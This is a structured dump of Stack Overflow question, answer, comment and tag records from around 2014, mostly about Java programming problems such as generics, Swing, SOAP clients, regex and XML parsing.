has body: I am working on an assignment to make a stack in java using Linked Lists, but there is an error I am getting, which prevents me from doing anything. here is first of all the Node class public class SortedLinkedSetNode&lt;T extends Comparable&lt;T&gt;&gt;{ protected T value; protected SortedLinkedSetNode&lt;T&gt; next; // other methods } now here is the Stack class , of which I will only give the Push method because an error occurs there. public class StackList&lt;E&gt; implements Stack&lt;E&gt; { protected SortedLinkedSetNode upperMost; public void push( E element) { SortedLinkedSetNode &lt;E&gt; newNode = new SortedLinkedSetNode (element); newNode.next = upperMost; upperMost = newNode; } } the problem is that when i try to make the newNode inside Push i get this message : Bound mismatch: The type E is not a valid substitute for the bounded parameter &lt;T extends Comparable&lt;T&gt;&gt; of the type SortedLinkedSetNode&lt;T&gt; I tried modifying the stack class so that it is public class StackList&lt;E extends Comparable&lt;E&gt;&gt; implements Stack&lt;E&gt; { but i am NOT allowed to modify it (thats just the assignment specification). I also tried using T not using anything and all sorts of combinations but there is always an error. I think that it all comes from this (which is given) public class SortedLinkedSetNode&lt;T extends Comparable&lt;T&gt;&gt;{ but am not sure, and also not sure what to do if it really is from here Can someone help me out with what exactly this is , and how i could solve it. If i can't make a new node in the stack class how can i even begin doing Push Pop etc.. ? Thank you
score: 0
answer count: 2
tagged with: generics

http://stackoverflow.com/a/22296351
has body: I found the answer, in the newer version of the liferay you should add the following tag to the liferay-portlet.xml file: &lt;requires-namespaced-parameters&gt;false&lt;/requires-namespaced-parameters&gt; now you can build and deploy the portlet. cheers
type: Answer
answers question: http://stackoverflow.com/q/22268535
accepted answer of: http://stackoverflow.com/q/22268535
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/22940950
has comment: http://stackoverflow.com/comment/35280333
has body: In fact, based on your examples it is perfectly valid Base64. However, it seems the last two digits (worth 62, 63) use '$' and '_' respectively, as opposed to the more common '+' and '/'. The underscore makes it URL safe and is used in some implementations, but the dollar sign must be their own invention. If you run your examples through a converter, you may get the wrong result if the values are being ascii encoded (which they probably are).
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/22204481
has comment: http://stackoverflow.com/comment/35357411
downvote count: 0
type: Answer

http://stackoverflow.com/a/22312828
has comment: http://stackoverflow.com/comment/33921522
type: AcceptedAnswer
downvote count: 0
has body: Why don't you simply add the HttpSession as a parameter of your method? Like this: @POST @Path("PostUserData/{userId}") @Produces(MediaType.APPLICATION_JSON + ";charset=UTF-8") public final Response postUserData(@PathParam("userId") String userId, String input, HttpSession session){ // Your method here return Response.created(null).build(); }
accepted answer of: http://stackoverflow.com/q/22283889
score: 2
type: Answer
answers question: http://stackoverflow.com/q/22283889
upvote count: 2
has comment: http://stackoverflow.com/comment/33920614

http://stackoverflow.com/comment/33672187
type: QuestionComment
comment on: http://stackoverflow.com/q/22183481
has text: Don't forget the check digit. Just checking by a regex for the lenght does not make it a valid cc number.
score: 0
type: Comment

http://stackoverflow.com/a/22325137
type: Answer
accepted answer of: http://stackoverflow.com/q/22252369
answers question: http://stackoverflow.com/q/22252369
type: AcceptedAnswer
score: 0
has body: I suffered from last seven days. For this reason I have posted the question, when I have posted at that time I have no idea about WSDL and SOAP . Here is the solve answer by me : Code: import org.ksoap2.SoapEnvelope; import org.ksoap2.SoapFault; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import android.app.Activity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class RecetarionDanica extends Activity { /** Called when the activity is first created. */ private static String SOAP_ACTION = "http://danica.com.ar/recetario/Registration"; //private static String SOAP_ACTION2 = "http://www.w3schools.com/webservices/CelsiusToFahrenheit"; private static String NAMESPACE = "http://danica.com.ar/recetario"; private static String METHOD_NAME = "Registration"; //private static String METHOD_NAME2 = "CelsiusToFahrenheit"; private static String URL = "http://danica.com.ar/cgi-bin/soapserver.pl"; Button btnReg; EditText fullName,emailId,password,confirmPwd; String result=""; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.registration_main); btnReg = (Button)findViewById(R.id.regId); fullName = (EditText)findViewById(R.id.name); emailId = (EditText)findViewById(R.id.emailId); password = (EditText)findViewById(R.id.pwd); confirmPwd = (EditText)findViewById(R.id.pwd1); btnReg.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { //Initialize soap request + add parameters SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); Log.d("request", request.toString()); //Use this to add parameters User user = new User(); user.setEmail(""+emailId.getText().toString().trim()); user.setFirstName(""+fullName.getText().toString().trim()); user.setPassword(…

xmlrpcclient
tags question: http://stackoverflow.com/q/22183849
tag name: xmlrpcclient
type: Tag

http://stackoverflow.com/q/22181475
has comment: http://stackoverflow.com/comment/33676572
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/xml
score: 2
has answer: http://stackoverflow.com/a/22185752
tagged with: java
tagged with: sax
type: Question
has comment: http://stackoverflow.com/comment/33676177
has body: I have a java application which exports data from a db ; manipulate some fields and reloads it into another db for testing. Some fields in the tables which the application uses were encrypted recently and after that the application is throwing an exception when it tries to manipulate the data it exported as an xml file. Below is the stack trace java.lang.Exception: Error Parsing String at com.oocl.frm.xmlutil.xmlbeans.XmlBeansUtil.unmarshall(XmlBeansUtil.java:37) at com.oocl.automation.object.DataSet.&lt;init&gt;(DataSet.java:12) at com.oocl.automation.process.BaseProcess.process(BaseProcess.java:21) at com.oocl.automation.TestAutomation.main(TestAutomation.java:30) Caused by: org.apache.xmlbeans.XmlException: error: Character reference to illegal XML character org.apache.xmlbeans.impl.piccolo.io.IllegalCharException: Character reference to illegal XML character at org.apache.xmlbeans.impl.piccolo.xml.PiccoloLexer.parseEncodedChar(PiccoloLexer.java:3131) at org.apache.xmlbeans.impl.piccolo.xml.PiccoloLexer.yylex(PiccoloLexer.java:4899) at org.apache.xmlbeans.impl.piccolo.xml.Piccolo.yylex(Piccolo.java:1290) at org.apache.xmlbeans.impl.piccolo.xml.Piccolo.yyparse(Piccolo.java:1400) at org.apache.xmlbeans.impl.piccolo.xml.Piccolo.parse(Piccolo.java:714) at org.apache.xmlbeans.impl.store.Locale$SaxLoader.load(Locale.java:3435) at org.apache.xmlbeans.impl.store.Locale.parse(Locale.java:706) at org.apache.xmlbeans.impl.store.Locale.parseToXmlObject(Locale.java:690) at org.apache.xmlbeans.impl.store.Locale.parseToXmlObject(Locale.java:677) at org.apache.xmlbeans.impl.schema.SchemaTypeLoaderBase.parse(SchemaTypeLoaderBase.java:208) at org.apache.xmlbeans.XmlObject$Factory.parse(XmlObject.java:579) at com.oocl.frm.xmlutil.xmlbeans.XmlBeansUtil.unmarshall(XmlBeansUtil.java:35) at com.oocl.automation.object.DataSet.&lt;init&gt;(DataSet.java:12) at com.oocl.automation.process.BaseProcess.process(BaseProcess.java:21) at com.oocl.automation.TestAutomation.main(TestAutomation.jav…
has answer: http://stackoverflow.com/a/22185892
answer count: 2
has title: Issue with 'illegal XML character' while parsing in java
downvote count: 0
favorite count: 0
upvote count: 2

http://stackoverflow.com/q/22281567
type: Question
accepted answer: http://stackoverflow.com/a/22281999
has comment: http://stackoverflow.com/comment/33849533
has body: I will be very thankful if someone will help me to create regex to find all * and **entries in String. Because I have no more idea how to build this regex. In string we can have only * and . For example here: *..***...**...****....*....*****..** We have 4x*and 7x** This is what I already have: Pattern oneStarPattern = Pattern.compile("(^|\\.|(\\*{2})+)\\*(\\.|$)"); Pattern twoStarsPattern = Pattern.compile("(^|\\.|(\\*{2})+)\\*{2}(\\.|\\*|$)"); And on output I have 5x*and 5x** what is wrong.
has comment: http://stackoverflow.com/comment/33848874
answer count: 1
favorite count: 0
has title: Need help to create regular expression in Java
has comment: http://stackoverflow.com/comment/33849612
has answer: http://stackoverflow.com/a/22281999
tagged with: regex
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33848883
upvote count: 2
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33848906
downvote count: 1

http://stackoverflow.com/comment/33756519
type: QuestionComment
has text: @JasonC As far as I know, `Deque` implementations in Java 6 were introduced to optimize some legacy `Collection` classes (`Stack` being the top best example). I'm just guessing that the `LinkedBlockingDeque` implementation of the `Deque` interface might benefit from the same treatment.
comment on: http://stackoverflow.com/q/22230255
score: 0
type: Comment

http://stackoverflow.com/a/22198925
score: 6
type: Answer
upvote count: 6
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22198818
has body: The error message should be sent outside the for loop. Otherwise it will be printed for every moderator that did not send the !highfivetest message. To simplify the code, you could change the array of moderators to a List and then use the List.contains method. Example 1: boolean vonModeratorGesendet = false; for (int i2 = 0; i2 &lt; moderatoren.length; i2++) { if (sender.equals(moderatoren[i2])) { vonModeratorGesendet = true; // you could also send "!highfive" from here break; } } if (vonModeratorGesendet) { sendMessage (channel, "!highfive"); } else { sendMessage(channel, "Nur eingetragene Moderatoren haben Zugriff auf diesen Befehl. Sry &lt;3"); } Example 2: List&lt;String&gt; moderatorenListe = Arrays.asList(moderatoren); if (moderatorenListe.contains(sender)) { sendMessage (channel, "!highfive"); } else { sendMessage(channel, "Nur eingetragene Moderatoren haben Zugriff auf diesen Befehl. Sry &lt;3"); } Example 2 is the better option. Instead of converting the array to a List, you could also use a List at all the time (that's what I would do).
answers question: http://stackoverflow.com/q/22198818
downvote count: 0

http://stackoverflow.com/comment/33952131
score: 0
type: Comment
type: QuestionComment
has text: @NikitaKoksharov is there any idea i am missing? i also tried running the demo using (mvn exec:java -Dmain.class=com.corundumstudio.socketio.demo.SslChatLauncher) but the client still didnt connect.
comment on: http://stackoverflow.com/q/22318558

http://stackoverflow.com/a/22257911
score: 1
has body: You could put each submission into a queue. Some process could pull the items off of the queue and put them into a db. Once you get to 44 you stop processing items off of the queue and set some flag indicating that all teams are full.
downvote count: 0
answers question: http://stackoverflow.com/q/22253642
type: Answer
upvote count: 1

http://stackoverflow.com/a/22234483
has body: There is a number of ways how you can achieve this. You're talking about methods, so I guess you have a class in MyUtils.groovy. In this case you can specify a Binding, e.g. def myUtils = new MyUtils() def binding= new Binding([ method1: myUtils.&amp;method1 ]) def shell= new GroovyShell(binding) shell.evaluate(new File("scripts/json/MyScript.groovy")) In the above you can reference method1 in your script and you will end up invoking it on myUtils instance. Another solution is to specify a script base-class, e.g. def configuration = new CompilerConfiguration() configuration.setScriptBaseClass('MyUtils.groovy') def shell = new GroovyShell(this.class.classLoader, new Binding(), configuration) MyUtils class must extend Script then; all its methods are available in scripts you parse using shell. There are essentially multiple ways how to embed / run Groovy. These are quite often discussed while designing DSLs. You can take a look e.g. here, if you haven't searched for it before.
downvote count: 0
has comment: http://stackoverflow.com/comment/33805544
type: Answer
answers question: http://stackoverflow.com/q/22234166
score: 3
has comment: http://stackoverflow.com/comment/33806881
upvote count: 3
has comment: http://stackoverflow.com/comment/33798123
has comment: http://stackoverflow.com/comment/33768136

http://stackoverflow.com/comment/33761966
comment on: http://stackoverflow.com/a/22221616
score: 0
type: AnswerComment
has text: The Registry is started after you've loaded the first class and before you've loaded the second class.
type: Comment

http://stackoverflow.com/comment/33666663
type: QuestionComment
has text: i don't found code to remove element from arraylist
type: Comment
score: 0
comment on: http://stackoverflow.com/q/22180515

http://stackoverflow.com/a/22250569
has comment: http://stackoverflow.com/comment/33792884
type: Answer
upvote count: 3
has body: You may try something like this: center = new Point(0.0f,1.0f,1.0f); returnPoint = center.clone(); ... returnPoint.x = 1.0f; The clone method will create another instance with the same values.
score: 3
accepted answer of: http://stackoverflow.com/q/22250507
has comment: http://stackoverflow.com/comment/33792845
answers question: http://stackoverflow.com/q/22250507
has comment: http://stackoverflow.com/comment/33792651
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33792992

http://stackoverflow.com/comment/33905430
has text: Hot Licks, are you suggesting making more temp variables for divs10 shifting function will allow bitshifting being pipelined?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22312406

http://stackoverflow.com/q/22327204
upvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/22327301
type: AnsweredQuestion
tagged with: reflection
has answer: http://stackoverflow.com/a/22327258
has comment: http://stackoverflow.com/comment/33933352
tagged with: java
has body: How can I get the type of an object in java using reflection if the object name is in a string and we do not know what is in the string? I want to ask that if user enters an object name which is already declared, how do I get it's type? Person per = new Person("umer", 12); br = new BufferedReader(new InputStreamReader(System.in)); String str = br.readLine(); If user enters per, I want to get the name of the class i.e person.. What should I do?
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22327258
score: -1
answer count: 2
has answer: http://stackoverflow.com/a/22327301
has title: Reflection API (Type of an object)

http://stackoverflow.com/comment/33712187
score: 1
comment on: http://stackoverflow.com/q/22189906
type: Comment
type: QuestionComment
has text: Probably just a bad LD_LIBRARY_PATH. https://blogs.oracle.com/moazeni/entry/weblogic_on_solaris_fixing_the

http://stackoverflow.com/q/22238531
has comment: http://stackoverflow.com/comment/33774543
has comment: http://stackoverflow.com/comment/33816423
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22240116
upvote count: 1
type: Question
tagged with: android-layout
has comment: http://stackoverflow.com/comment/33772108
has comment: http://stackoverflow.com/comment/33816427
answer count: 2
downvote count: 0
favorite count: 0
has body: I have the following issue. In my layout, which is used as a list item, I have a FrameLayout inside a RelativeLayout. In the Graphical Layout in Eclipse it appears just as expected, however, when I debug in a real device (HTC One V Android 4.0.3 in this case), the FrameLayout does not appear at all (but the area it occupies is visible). In the Adapter I do not play with the visibility, I just change the background color between two colors. Here is my layout code: &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="130dp" &gt; &lt;FrameLayout android:id="@+id/entryType" android:layout_width="15dp" android:layout_height="match_parent" android:background="@color/color_punch_in_darker" android:gravity="center" &gt; &lt;/FrameLayout&gt; &lt;TextView android:id="@+id/time" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:layout_alignParentTop="true" android:layout_marginRight="10dp" android:layout_marginTop="3dp" android:gravity="center" android:singleLine="true" android:textColor="@color/color_black" android:textSize="21sp" android:textStyle="bold" /&gt; &lt;ImageView android:id="@+id/clock" android:layout_width="20dp" android:layout_height="20dp" android:layout_marginRight="5dp" android:layout_marginTop="7dp" android:layout_toLeftOf="@id/time" android:src="@drawable/ic_clock" /&gt; &lt;TextView android:id="@+id/company" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="5dp" android:layout_marginLeft="10dp" android:layout_marginRight="10dp" android:layout_marginTop="10dp" android:layout_toLeftOf="@id/clock" android:layout_toRightOf="@id/entryType" android:ellipsize="end" android:gravity="left|top" android:hint="@string/string_NA" android:singleLine="true" android:textColor="@color/color_grey_darker" android:textSize="18s…
has comment: http://stackoverflow.com/comment/33771801
has answer: http://stackoverflow.com/a/22313384
has title: FrameLayout inside RelativeLayout not showing
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33772036
tagged with: android

webcenter-sites
tags question: http://stackoverflow.com/q/22325472
tag name: webcenter-sites
type: Tag

http://stackoverflow.com/q/22257598
favorite count: 0
has comment: http://stackoverflow.com/comment/33805752
has body: I have 200,000 files for which I've to process and extract tokens for each file. The size of all files is 1.5GB. When I wrote the code for extracting tokens from each file, it works well. Over all execution time is 10mins. After that, I tried to remove stopwords Performance went down badly. It's taking 25 to 30 mins. I'm using stop words from the website here There are around 571 stop words. The general procedure is to extract each stop word from a text file at once and compare with each token in the file. This is the stub of code StringBuilder sb = new StringBuilder(); for(String s : tokens) Scanner sc=new Scanner(new File("stopwords.txt")); while(sc.hasNext()) { if(sc.next().equals(s)){ flag = true; break; } } if(flag) sb.append(s + "\n" ); flag = false; } String str = sb.toString() **Ignore errors. The performance of above code is at least 10 times less than below code. It takes 50 to 60 mins to execute. StringBuilder sb = new StringBuilder(); String s = tokens.toString(); String str = s.replaceAll("StopWord1|Stopword2|Stopword3|........|LastStopWord"," "); Performance is far good. This takes 20 to 25 mins. Is there any better procedure?
has comment: http://stackoverflow.com/comment/33808929
has comment: http://stackoverflow.com/comment/33805641
tagged with: stop-words
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33805524
has comment: http://stackoverflow.com/comment/70765514
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22257659
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22257974
tagged with: algorithm
has title: How to remove stop words from a large collection files with more efficient way?
possible better answer: http://stackoverflow.com/a/22257974
has comment: http://stackoverflow.com/comment/33805562
answer count: 2
accepted answer: http://stackoverflow.com/a/22257659
downvote count: 0

http://stackoverflow.com/q/22199757
type: AnsweredQuestion
score: 3
upvote count: 3
linked to: http://stackoverflow.com/q/4524786
possible better answer: http://stackoverflow.com/a/22199965
has comment: http://stackoverflow.com/comment/33700960
tagged with: swing
has answer: http://stackoverflow.com/a/22199965
type: Question
accepted answer: http://stackoverflow.com/a/22199954
tagged with: java
linked to: http://stackoverflow.com/q/2599993
has body: I had been through this link1 link2 for an answer, but was not helpful. Because frame.setVisible(false); is giving below exception, Exception in thread "main" java.lang.NullPointerException at Simulation.drawOcean(Simulation.java:72) at Simulation.main(Simulation.java:191) Application has below 2 java files. Simulation class launches GUI. After running Simulation.java with default command line parameters, Frame does not get close, despite finite while loop. I could not close the Frame by clicking close button(top right - red), after the simulation is done. Do i need to set some property for Frame? Please help me!!! /* Simulation.java */ import java.awt.Canvas; import java.awt.Color; import java.awt.Frame; import java.awt.Graphics; import java.util.Random; /* DO NOT CHANGE THIS FILE (except as noted). */ /* (You may wish to make temporary changes or insert println() statements) */ /* while testing your code. When you're finished testing and debugging, */ /* though, make sure your code works with the original version of this file */ /** * The Simulation class is a program that runs and animates a simulation of * Sharks and Fish. * * The Simulation program takes up to four parameters. The first two specify * the width and height of the ocean. The third parameter specifies the value * of starveTIme. For example, if you run * * java Simulation 25 25 1 * * then Simulation will animate a 25x25 ocean with a starveTime of 1. If you * run "java Simulation" with no parameters, by default Simulation will animate * a 50x25 ocean with a starveTime of 3. With some choices of parameters, * the ocean quickly dies out; with others;, it teems forever. * * @author mohet01 * */ public class Simulation { /** * The constant cellSize determines the size of each cell on the screen * during animation. (You may change this if you wish). */ private static final int cellSize = 4; /** * Default parameters. (You may change this of you wish). */ private static int i = 50; //Default ocean width pri…
linked to: http://stackoverflow.com/q/408820
has title: Unable to close the Frame by clicking close X button
answer count: 2
downvote count: 0
tagged with: frame
has comment: http://stackoverflow.com/comment/33712006
tagged with: awt
favorite count: 0
has comment: http://stackoverflow.com/comment/33700598
has answer: http://stackoverflow.com/a/22199954
has comment: http://stackoverflow.com/comment/33700392

http://stackoverflow.com/q/22282991
tagged with: character-encoding
accepted answer: http://stackoverflow.com/a/22319268
has comment: http://stackoverflow.com/comment/33851406
downvote count: 0
has comment: http://stackoverflow.com/comment/33851934
tagged with: bufferedreader
tagged with: string
favorite count: 0
has title: How to remove � from a String?
has answer: http://stackoverflow.com/a/22283145
answer count: 5
has comment: http://stackoverflow.com/comment/33852030
has comment: http://stackoverflow.com/comment/33851991
has answer: http://stackoverflow.com/a/22283068
has body: What is that char �? and how to remove it from a String? I got it from a BufferedReader and i got it because i read the contents in a char array and this array has to be assigned to a particular size.So, i got the String like that "aaaaaaa����", and I tried trim and subString but didn't change anything: String a = "aaaaaaa����"; //subString int i = a.lastIndexOf("a"); a = a.substring(0, i+1); //trim a = a.trim(); And this is my way to read the input: BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream())); char[] a = new char[1000]; int line; String responseLine, server_response = ""; while((line = in.read(a)) != -1) { responseLine = String.valueOf(a); server_response = server_response + responseLine; } in.close(); return server_response;
possible better answer: http://stackoverflow.com/a/22283451
has comment: http://stackoverflow.com/comment/33852224
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22283451
has comment: http://stackoverflow.com/comment/33851336
has comment: http://stackoverflow.com/comment/33851355
score: 1
tagged with: java
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22319268
linked to: http://stackoverflow.com/q/4964640
has answer: http://stackoverflow.com/a/22283070

http://stackoverflow.com/comment/33836120
comment on: http://stackoverflow.com/a/22269033
type: Comment
score: 0
type: AnswerComment
has text: I added the line you suggested if (end > 0 && start < end) to both if end the one with ( and the one with [ now the app is working thanks!

http://stackoverflow.com/comment/33652650
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22172971
has text: NOTE: In MySQL DECIMAL(6,6) means six digits maximum, with six digits to the right of the point. Are you sure this is what you need?
score: 0

http://stackoverflow.com/q/22183672
accepted answer: http://stackoverflow.com/a/22183700
possible better answer: http://stackoverflow.com/a/22183734
type: Question
has comment: http://stackoverflow.com/comment/33672752
has title: Java method isn't calledin expression
tagged with: java
score: 0
has answer: http://stackoverflow.com/a/22183734
tagged with: jar
has answer: http://stackoverflow.com/a/22183793
has answer: http://stackoverflow.com/a/22183845
has comment: http://stackoverflow.com/comment/33672434
answer count: 4
type: AnsweredQuestion
has body: I really confused about this issue, I have a method that returns boolean - mainMethod(), so I use the result in logical expression, see here: boolean b = this.someMethod(); b = b &amp;&amp; this.mainMethod(); // method is not called I checked jar file via decompiler everything is OK. Then I changed the lines above to: boolean b = this.someMethod(); boolean result = this.mainMethod(); // now method is called!!! b = b &amp;&amp; result; Does anywone know how this might happen? I have no idea, this is looking very strange.
has answer: http://stackoverflow.com/a/22183700

http://stackoverflow.com/q/22251767
has answer: http://stackoverflow.com/a/22252137
tagged with: java
has title: adding images in JFrame, image when clicked
type: Question
tagged with: actionlistener
answer count: 2
has body: I want to make a "simple" program. it consists of three buttons and when you click on one of them i want a picture to show up, but i don't know how to add the image properly. If anyone has played pokemon i want to make the start where you select your starter pokemon. Here is my code. public LayoutLek(){ super("Starter"); panel=new JPanel(); panel.setLayout(new GridLayout(2,1)); top_p=new JPanel(); label1=new JLabel("Make a choice"); label1.setFont(new Font("Arial", Font.BOLD, 30)); label1.setForeground(Color.black); ImageIcon green = new ImageIcon("Bilder/bulbasaur.jpg"); //Dont know if it is correct but... JLabel label2 = new JLabel(green); top_p.setBackground(Color.yellow); top_p.add(label1); bottom_p=new JPanel(); bottom_p.setLayout(new GridLayout(1,3)); panel.add(top_p); panel.add(bottom_p); button1=new JButton("Button 1"); button1.setBackground(Color.green); button1.setForeground(Color.black); button1.setFont(new Font("Arial", Font.BOLD, 24)); button2=new JButton("Button 2"); button2.setBackground(Color.red); button2.setForeground(Color.black); button2.setFont(new Font("Arial", Font.BOLD, 24)); button3=new JButton("Button 3"); button3.setBackground(Color.blue); button3.setForeground(Color.black); button3.setFont(new Font("Arial", Font.BOLD, 24)); bottom_p.add(button1); bottom_p.add(button2); bottom_p.add(button3); button1.addActionListener(this); button2.addActionListener(this); button3.addActionListener(this); this.add(panel); //this.setSize(350, 300); this.pack(); this.setVisible(true); this.setDefaultCloseOperation(EXIT_ON_CLOSE); this.setAlwaysOnTop(true); } public static void main(String[] args) { new LayoutLek(); } public void actionPerformed(ActionEvent e) { System.out.println("Clicked"); //Just to test Object src = e.getSource(); if(src==button1){ //Here should the image show up } else if(src==button2){ } else if(src==button3){ } } If anyone can help i would be thankful!
tagged with: jpanel
score: 0
has answer: http://stackoverflow.com/a/22252544
tagged with: jframe
type: UnansweredQuestion
tagged with: swing

http://stackoverflow.com/comment/33886584
comment on: http://stackoverflow.com/a/22301231
type: AnswerComment
score: 0
has text: won't help - every 10MB it truncates the entire file and starts over - i need to delete just the oldest entries.
type: Comment

http://stackoverflow.com/comment/33820986
type: Comment
type: AnswerComment
has text: That is it, good chance you'll also end up needing `lucene-queryparser-4.7.0.jar`.
comment on: http://stackoverflow.com/a/22265111
score: 0

http://stackoverflow.com/comment/33694893
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22196514
score: 1
has text: Your classpath is incorrect, first of all it shouldn't be surrounded by quotes.

http://stackoverflow.com/a/22233776
upvote count: 12
accepted answer of: http://stackoverflow.com/q/22233512
score: 12
answers question: http://stackoverflow.com/q/22233512
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can create a simple wrapper class for the e-mail String: public class EmailAddress { @Pattern("\b[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}\b.") String email; //getters and setters } Then mark the field @Valid in your existing object: @NotNull @Valid List&lt;EmailAddress&gt; emailIds; The validator will then validate each object in the list.

mysql
tags question: http://stackoverflow.com/q/22236657
tags question: http://stackoverflow.com/q/22303085
tags question: http://stackoverflow.com/q/22318175
tags question: http://stackoverflow.com/q/22223933
tags question: http://stackoverflow.com/q/22255508
tags question: http://stackoverflow.com/q/22173076
tags question: http://stackoverflow.com/q/22213889
tags question: http://stackoverflow.com/q/22260823
tags question: http://stackoverflow.com/q/22280387
tags question: http://stackoverflow.com/q/22222846
tags question: http://stackoverflow.com/q/22265845
tags question: http://stackoverflow.com/q/22291968
tags question: http://stackoverflow.com/q/22237785
tags question: http://stackoverflow.com/q/22299689
tags question: http://stackoverflow.com/q/22169731
tag name: mysql
tags question: http://stackoverflow.com/q/22307225
tags question: http://stackoverflow.com/q/22316611
tags question: http://stackoverflow.com/q/22269839
tags question: http://stackoverflow.com/q/22206165
tags question: http://stackoverflow.com/q/22322793
tags question: http://stackoverflow.com/q/22219504
tags question: http://stackoverflow.com/q/22253483
tags question: http://stackoverflow.com/q/22320882
tags question: http://stackoverflow.com/q/22287692
tags question: http://stackoverflow.com/q/22318926
tags question: http://stackoverflow.com/q/22208344
tags question: http://stackoverflow.com/q/22285761
tags question: http://stackoverflow.com/q/22226335
tags question: http://stackoverflow.com/q/22233913
tags question: http://stackoverflow.com/q/22259809
tags question: http://stackoverflow.com/q/22313935
tags question: http://stackoverflow.com/q/22302689
tags question: http://stackoverflow.com/q/22285223
tags question: http://stackoverflow.com/q/22260380
tags question: http://stackoverflow.com/q/22219119
tags question: http://stackoverflow.com/q/22310812
tags question: http://stackoverflow.com/q/22242010
tags question: http://stackoverflow.com/q/22201377
tags question: http://stackoverflow.com/q/22260301
tags question: http://stackoverflow.com/q/22196577
tags question: http://stackoverflow.com/q/22279365
tags question: http://stackoverflow.com/q/22274803
tags question: http://stackoverflow.com/q/22272056
tags question: http://stackoverflow.com/q/22174697
tags question: http://stackoverflow.com/q/22286649
tags question: http://stackoverflow.com/q/22302568
tags question: http://stackoverflow.com/q/22324937
tags question: http://stackoverflow.com/q/22196385
tags question: http://stackoverflow.com/q/22171888
tags question: http://stackoverflow.com/q/22208554
tags question: http://stackoverflow.com/q/22204676
tags question: http://stackoverflow.com/q/22226014
tags question: http://stackoverflow.com/q/22304310
tags question: http://stackoverflow.com/q/22274869
tags question: http://stackoverflow.com/q/22201158
tags question: http://stackoverflow.com/q/22192442
tags question: http://stackoverflow.com/q/22210353
tags question: http://stackoverflow.com/q/22323364
tags question: http://stackoverflow.com/q/22180399
tags question: http://stackoverflow.com/q/22248133
tags question: http://stackoverflow.com/q/22287160
tags question: http://stackoverflow.com/q/22222090
type: Tag
tags question: http://stackoverflow.com/q/22258101
tags question: http://stackoverflow.com/q/22223606
tags question: http://stackoverflow.com/q/22234737
tags question: http://stackoverflow.com/q/22300257
tags question: http://stackoverflow.com/q/22271770
tags question: http://stackoverflow.com/q/22276880
tags question: http://stackoverflow.com/q/22281820
tags question: http://stackoverflow.com/q/22207436
tags question: http://stackoverflow.com/q/22218917
tags question: http://stackoverflow.com/q/22321773
tags question: http://stackoverflow.com/q/22300018
tags question: http://stackoverflow.com/q/22325006
tags question: http://stackoverflow.com/q/22271475
tags question: http://stackoverflow.com/q/22269908
tags question: http://stackoverflow.com/q/22279993
tags question: http://stackoverflow.com/q/22252088

http://stackoverflow.com/q/22293335
has comment: http://stackoverflow.com/comment/33870486
score: 3
tagged with: java
has title: Performing operation using Generic and primitive type not working
has answer: http://stackoverflow.com/a/22293461
has comment: http://stackoverflow.com/comment/33870469
answer count: 3
has answer: http://stackoverflow.com/a/22293458
accepted answer: http://stackoverflow.com/a/22293458
has comment: http://stackoverflow.com/comment/33870356
downvote count: 0
has comment: http://stackoverflow.com/comment/33870464
has comment: http://stackoverflow.com/comment/33870422
favorite count: 0
possible better answer: http://stackoverflow.com/a/22293495
has comment: http://stackoverflow.com/comment/33870386
has body: Trying to learn some basic operations using JAVA-Genric, i tried to make a generic class, which takes a number and does some operation on it and returns the value but its throwing error Parent class : public class HelloWorld{ public static void main(String []args){ MathsExec&lt;Integer&gt; my_obj = new MathsExec&lt;Integer&gt;(); int rst = my_obj.doAddition(100); System.out.println("Solution is : "+rst); } } Generic Class : class MathsExec&lt;T&gt;{ //didn't extend NUMBER because m strictly sending int values T doAddition(T nmbr){ int k=100; T rst; rst = nmbr+k; return rst; } } Error : MathsExec.java:6: error: bad operand types for binary operator '*' rst = nmbr+k; ^ first type: T second type: int where T is a type-variable: T extends Object declared in class MathsExec 1 error I understand why this error is coming(incompatible types for operation) but as per generics, type T should have been converted to Integer before doing the + operation...or is there some other explanation i should know???? P.S : please go easy, JAVA is not my strong suite!!
tagged with: generics
type: AnsweredQuestion
upvote count: 3
has comment: http://stackoverflow.com/comment/33870435
has answer: http://stackoverflow.com/a/22293495
type: Question

http://stackoverflow.com/q/22274972
tagged with: spring-mvc
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/22267191
tagged with: spring-3
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33836922
